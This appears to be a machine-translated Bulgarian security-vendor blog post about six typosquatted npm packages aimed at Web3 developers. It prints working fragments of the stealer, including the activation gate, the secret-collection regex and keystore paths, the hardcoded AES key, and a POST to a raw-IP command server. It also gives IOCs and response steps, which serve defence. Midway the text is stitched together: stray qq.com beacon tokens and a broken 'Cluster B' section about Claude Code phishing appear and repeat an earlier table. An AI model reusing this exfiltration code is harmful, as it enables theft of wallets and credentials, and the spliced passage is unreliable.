EVMDeFi npm атака с типоскопиране краде ключове за разработчици

EVM/DeFi npm атака с типоскопиране краде ключове за разработчици

TL; DR

На 6 май 2026 г., един-единствен издател на npm, namikazesarada010206, разпространи шест злонамерени пакета, насочени към екосистемата за разработчици на Ethereum, Solidity и DeFi.

Пакетите, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, и web3-utils-core, използваха правдоподобни имена, предназначени да изглеждат като помощни библиотеки за популярни Web3 инструменти.

И шестте пакета съдържаха едно и също telemetry.js файл. Файлът беше байтово идентичен в целия клъстер, с SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Зловредният софтуер не се изпълнява по време на инсталирането. Няма preinstall or postinstall кука. Вместо това, той се активира, когато пакетът се импортира чрез require().

Този детайл е важен.

Имплантът изчаква, докато разработчик действително използва пакета. След това проверява дали работната станция изглежда като истинска среда за разработка на Ethereum / Solidity. Търси ключове за Alchemy или Infura, частни ключове, мнемоника, ключове за deployer или локална директория на Foundry.

Ако хостът съвпада, крадецът събира SSH частни ключове, хранилища за ключове на портфейли Foundry / Geth / Brownie, .env* файлове и чувствителни променливи на средата. Той криптира пакета с AES-256-GCM, използвайки твърдо кодирана парола, и го прехвърля към сурова IPv4 C2 крайна точка с деактивирана TLS проверка.

Системата за ранно предупреждение за зловреден софтуер (MEW) на Xygeni потвърди, че и шестте пакета са злонамерени. Пакетът с отчети за премахване на npm в системния регистър е в процес на разработка.

Клъстерът: Шест пакета, един издател

Профилът на издателя namikazesarada010206 беше свързан с непотвърдения адрес в Gmail namikazesarada010206@gmail.com.

Кампанията се появи като еднодневна публикация на 6 май 2026 г. Всичките шест пакета бяха версионирани като 1.0.0, нямаше нулеви зависимости по време на изпълнение и достави само три файла:

package.json index.js telemetry.js

Те също така декларираха същото хранилище за изходен код:

https://github.com/harunosakura030303-maker/evmchain-config

Първите три пакета бяха засечени от MEW скенери при първата публикация. Останалите три бяха принудително маркирани след преглед от анализатори на npm профила на издателя. След като същите бяха идентични по байтове telemetry.js беше потвърдено в целия клъстер, те бяха затворени като злонамерени поради консистентност.

Пакет версия Публикувано от npm Билет за MEW Присъда
вием-ядро 1.0.0 2026-05-06 01:38:44Z #51049 Злонамерен
viem-utils-core 1.0.0 2026-05-06 #51050 Злонамерен
hardhat-core-utils 1.0.0 2026-05-06 #51051 Злонамерен
evm-utils 1.0.0 2026-05-06 #51069 Злонамерен, по последователност
леярски-утилити 1.0.0 2026-05-06 #51071 Злонамерен, по последователност
web3-utils-core 1.0.0 2026-05-06 #51070 Злонамерен, по последователност

Стратегията за именуване е проста, но ефективна.

Тези пакети не се представят за точни имена на upstream-и. Вместо това те използват правдоподобни суфикси за „помощни програми“, като например -core, -utils, и -utils-coreТова ги прави да изглеждат като съпътстващи библиотеки, които разработчикът би очаквал да види близо до Web3 инструментите.

Злонамерен пакет Легитимна цел
вием-ядро viem, популярен клиент на Ethereum TypeScript
viem-utils-core Вием
hardhat-core-utils hardhat, масова среда за разработка на Solidity
evm-utils Общо пространство от имена на инструменти за EVM
леярски-утилити леярна, инструментална верига на Solidity
web3-utils-core web3-utils, Web3.js помощни програми

Това е моделът на „допълнителния пакет“: не „Аз съм истинският пакет“, а „Изглеждам като разумен помощник около истинския пакет“.

За разработчиците на DeFi, които се движат бързо, това е достатъчно, за да създаде риск.

Какво се случва, когато пакетът бъде импортиран

Веригата от атаки е малка, умишлена и фокусирана върху среди за крипто разработка.

Няма кука за инсталиране. Вместо това, всеки пакет включва index.js който експортира функционалност на stub и след това зарежда злонамерения телеметричен модул.

require('./telemetry').init();

Това означава, че зловредният софтуер се активира при първото импортиране.

Това е полезно от оперативна гледна точка за атакуващия. Много скенери и пясъчник се фокусират върху поведението по време на инсталиране. Този пакет изчаква, докато действително бъде използван от разработчик, скрипт за изграждане, тестов пакет или път по време на изпълнение.

Активационен портал: Задейства се само на реални работни станции за разработчици на Web3

Най-важната част на импланта е активационният порт.

Зловредният софтуер проверява за променливи на средата, често срещани на машините на разработчици на Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Той също така проверява дали Foundry изглежда е инсталиран:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ако нито едно от условията не е вярно, функцията връща стойност и не прави нищо.

Това прави пакета по-тих в генерични аналитични среди. Пясъчник без Foundry, Alchemy ключове, Infura ключове, частни ключове или мнемоника може да изглежда безобиден.

На съответстващ хост, зловредният софтуер изчаква от 60 до 90 секунди, преди да се събере:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Забавянето намалява очевидната корелация между вноса и износа. .unref() извикването също така позволява на хост процеса да се изключи нормално, ако пакетът е бил импортиран в краткотраен скрипт.

Това не е шумно поведение от типа „смачкай и грабни“. Това е целенасочена програма за кражба, предназначена да избягва изпълнението, освен ако средата за разработчици не си струва да се краде от нея.

Какво събира крадецът

След като премине през активационния портал, зловредният софтуер събира данни от източници, които са най-важни за Web3 разработката: частни ключове, хранилища за ключове на портфейли, идентификационни данни за внедряване, облачни тайни, npm токени и локална конфигурация на проекта.

източник Какво се събира
process.env Всяка променлива, съответстваща на /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файлове, съдържащи PRIVATE KEY или BEGIN OPENSSH, включително пълното съдържание на файла
~/.foundry/keystores/* Файлове за хранилище на ключове за портфейла Foundry
~/.ethereum/keystore/* Файлове за съхранение на ключове за портфейл Geth
~/.brownie/accounts/* Файлове за съхранение на ключове за портфейл Brownie
${cwd}/.env Пълно съдържание на файла
${cwd}/.env.local Пълно съдържание на файла
${cwd}/.env.production Пълно съдържание на файла
${cwd}/.env.development Пълно съдържание на файла
os.hostname() Метаданни за хоста
крипто.randomUUID() Идентификатор на жертва/сесия
Дата.сега() Времева марка на събирането
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA токените са:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Не успяхме да потвърдим дали телеметрията е била от собствените анализи на оператора или от отделно монетизиран канал. Токените на ATTA са едни и същи и в двете изследвани от нас извадки.

Клъстер Б: heibai

claude.hk OAuth фишинг + отвличане на ANTHROPIC_BASE_URL

Пробата от 1 април е по-грубият, по-ранен етап от кампанията.

heibai:2.1.88-claude.hk-4 е публикуван от wuguoqiangvip28, акаунт, създаден на 7 юни 2025 г. Пакетът изрично се е самоверсирал срещу легитимната 2.1.88 Антропно освобождаване.

Не се занимава с CA-cert MITM. Вместо това лъже потребителя за крайната точка на OAuth.

Злонамерените допълнения към изтеклия изходен код на Claude Code включват:

източник Какво се събира
process.env Всяка променлива, съответстваща на /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Файлове, съдържащи PRIVATE KEY или BEGIN OPENSSH, включително пълното съдържание на файла
~/.foundry/keystores/* Файлове за хранилище на ключове за портфейла Foundry
~/.ethereum/keystore/* Файлове за съхранение на ключове за портфейл Geth
~/.brownie/accounts/* Файлове за съхранение на ключове за портфейл Brownie
${cwd}/.env Пълно съдържание на файла
${cwd}/.env.local Пълно съдържание на файла
${cwd}/.env.production Пълно съдържание на файла
${cwd}/.env.development Пълно съдържание на файла
os.hostname() Метаданни за хоста
крипто.randomUUID() Идентификатор на жертва/сесия
Дата.сега() Времева марка на събирането

Списъкът с цели е много специфичен. Това не е обща кражба на браузър или широкообхватно извличане на идентификационни данни. Той е насочен към разработчици, които изграждат, тестват, внедряват или управляват приложения на Ethereum.

Включването на хранилища за ключове Foundry, Geth и Brownie е особено важно. Тези файлове могат да представляват директен достъп до портфейли или самоличности за внедряване. Ако атакуващият може да ги сдвои с пароли, мнемоника или тайни на средата, той може да премести средства, да се представи за внедрители или да компрометира операции с интелигентни договори.

Криптиране преди ексфилтрация

Зловредният софтуер криптира събраните данни, преди да ги изпрати.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Твърдо кодираната парола е:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Крайният полезен товар е обвит като JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Криптирането само по себе си не прави зловредния софтуер по-усъвършенстван. То обаче затруднява проверката на мрежата. Защитник, наблюдаващ изхода, би видял JSON полезен товар, но не и откраднатите ключове, файлове с портфейли или... .env съдържание без твърдо кодираната парола и логика за декриптиране.

Ексфилтрация към суров IPv4 C2

Пътят на ексфилтрация е твърдо кодиран:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Зловредният софтуер изпраща данни до:

https://76.13.37.80:8443/api/v1/telemetry

Две детайли се открояват.

Първо, C2 е суров IPv4 адрес, а не домейн. Това премахва необходимостта от регистрация на домейн и избягва някои базирани на домейн засечки.

Второ, TLS проверката е деактивирана с:

rejectUnauthorized: false

Това позволява на зловредния софтуер да приема всякакви сертификати, включително самоподписани сертификати. С други думи, атакуващият получава криптиран транспорт, без да е необходим валиден публичен сертификат.

Няма логика за повторен опит и няма резервен хост. Грешките се поглъщат безшумно. Това предпазва пакета от прекъсване, ако C2 е офлайн или недостъпен.

Защо тази кампания има значение

Повечето злонамерени npm пакети, насочени към разработчици, преследват широки идентификационни данни: npm токени, AWS ключове, GitHub токени или .npmrc файлове.

Тази кампания стеснява целта.

Търси признаци, че машината принадлежи на разработчик на Ethereum или Solidity. След това извлича точно онези ресурси, които са важни в тази среда: хранилища за ключове на портфейли, частни ключове, мнемоника, ключове за внедряване, .env файлове и SSH ключове.

Това прави кампанията по-опасна за Web3 екипите, отколкото обикновен npm stealer.

Успешната инфекция може да разкрие:

  • Портфейли за внедряване
  • Администраторски ключове за интелигентни договори
  • Ключове на доставчика на RPC
  • Идентификационни данни за внедряване в облака
  • npm токени за публикуване
  • SSH достъп до инфраструктура за разработчици или изграждане
  • Тайните на проекта се съхраняват в .env файлове
  • Хранилища за ключове за портфейли за Foundry, Geth или Brownie

Имената на пакетите също показват ясно социално инженерство. Те са насочени към екосистемата на Web3 разработчиците чрез познати имена на инструменти: viem, hardhat, foundry, evm, и web3.

Актьорът не е нужно да прави компромис с реалните проекти. Той се нуждае само от разработчик, който да инсталира това, което изглежда като разумен съпътстващ пакет.

Индикатори за компрометиране и разкриване

Пакети и издател
Област Стойност
издател на npm намиказесарада010206
Имейл на издателя namikazesarada010206@gmail.com
Имейлът е потвърден Не
SCM проверена Не
Рекорд за репутация 1.0
Услуги viem-core, viem-utils-core, hardhat-core-utils, evm-utils, леярни-utils, web3-utils-core
Версии All 1.0.0
Хранилище на изходния код https://github.com/harunosakura030303-maker/evmchain-config
Потвърдено злонамерено Всичките шест пакета
мрежа
Тип Стойност
Крайна точка C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 порт 8443/tcp
Поведение на TLS отхвърлянеНеоторизирано: невярно
Схема на полезния товар {"v":2,"iv": ,,д“: ,,т“: }
Файлове и хешове
Тип Стойност
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Оформление на опаковката package.json, index.js, telemetry.js
Брой файлове 3
Приблизителен общ размер 3.4 KB

Сигнали за активиране

Зловредният софтуер проверява за следните променливи на средата:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Проверява се също за:

~/.foundry/

Целеви пътища на хоста

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Колекция Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Бележки за откриване

Няколко правила обхващат тази кампания, без да е необходим пълен поведенчески анализ.

Първо, сканирайте lockfiles за шестте имена на злонамерени пакета:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Всеки мач в package-lock.json, yarn.lock, pnpm-lock.yaml или node_modules историята трябва да се третира като сериозен инцидент.

Второ, наблюдавайте за Node.js процеси, които четат пътищата на хранилището за ключове на портфейла:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Това рядко е легитимно поведение за пакет, импортиран като помощна зависимост. Особено подозрително е, когато е последвано от изходяща мрежова активност.

Трето, блокирайте или предупреждавайте за HTTPS връзки за:

76.13.37.80:8443

Особено когато пътят на заявката е:

/api/v1/telemetry

Четвърто, потърсете npm пакети, които съчетават следните характеристики:

  • Нов или нискорентабилен издател
  • Непотвърден акаунт в Gmail
  • Име на съседен на Web3 пакет
  • Няма смислена история на хранилището
  • Малък дизайн на опаковката
  • index.js който зарежда телеметричен или помощен файл
  • Няма зависимости по време на изпълнение
  • Чувствителна колекция от променливи на околната среда
  • Достъп до хранилището за ключове на портфейла

Този модел е по-полезен от единичен IOC, защото следващият пакет може да промени IP адреса, но да запази същата логика на насочване.

Контролен списък за отговор на компромис

Ако разработчик е използвал един от шестте пакета и неговата среда е съвпадала с активационния порт, работната станция се третира като компрометирана.

Това включва машини с инсталиран Foundry, ключове Alchemy или Infura в средата, частни ключове, мнемоника или ключове за внедряване.

Препоръчителен отговор:

  • Изключете хоста от мрежата.
  • резерват node_modules, заключващи файлове, история на обвивката и съответните лог файлове за криминалистика.
  • Завъртете всяка SSH двойка ключове под ~/.ssh/.
  • Ротирайте ключовете на портфейла за всяко хранилище за ключове под ~/.foundry, ~/.ethereum, и ~/.brownie.
  • Преместете средствата в нови портфейли.
  • Завъртете всяка тайна, съхранена в .env* файлове в хранилища, в които е работил разработчикът.
  • Ротирайте тайните на средата, съответстващи на регулярния израз на колекцията, включително AWS ключове, npm токени, токени за внедряване, API ключове, частни ключове, seeds и мнемоника.
  • Одитирайте активността в облака, npm, GitHub, RPC доставчика и блокчейна от първоначалното инсталиране на пакета.
  • Преобразувайте работната станция преди повторна употреба.

Какво трябва да си вземат защитниците

Тази кампания показва как типосквотингът в NPM се развива около екосистемите за разработчици с висока стойност.

Актьорът не се нуждаеше от постоянство. Не се нуждаеше от обфускация. Дори не се нуждаеше от изпълнение по време на инсталиране.

Вместо това, те разчитаха на три неща:

  • Правдоподобни имена на Web3 пакети
  • Активиране само на реални машини за крипто разработка
  • Директна кражба на файлове и тайни, които са най-важни за разработчиците на Ethereum

Това прави кампанията лесна за пропускане при широкообхватно сканиране и опасна, когато попадне в правилната среда.

За Web3 екипите урокът е ясен: третирайте имената на зависимостите като част от вашия модел на заплаха. Пакет, който изглежда като безобиден помощник, все още може да се превърне в най-краткия път към компрометиране на портфейла.

Докладвано е в регистъра на npm. Ще актуализираме тази публикация, когато акаунтът на издателя и пакетите бъдат премахнати.

инструменти за анализ на състава на софтуера SCA Tools
Приоритизирайте, отстранете и защитете софтуерните си рискове
Вземете своя безплатен акаунт.
Не е необходима кредитна карта.

Осигурете си разработка и доставка на софтуер

с продуктовия пакет Xygeni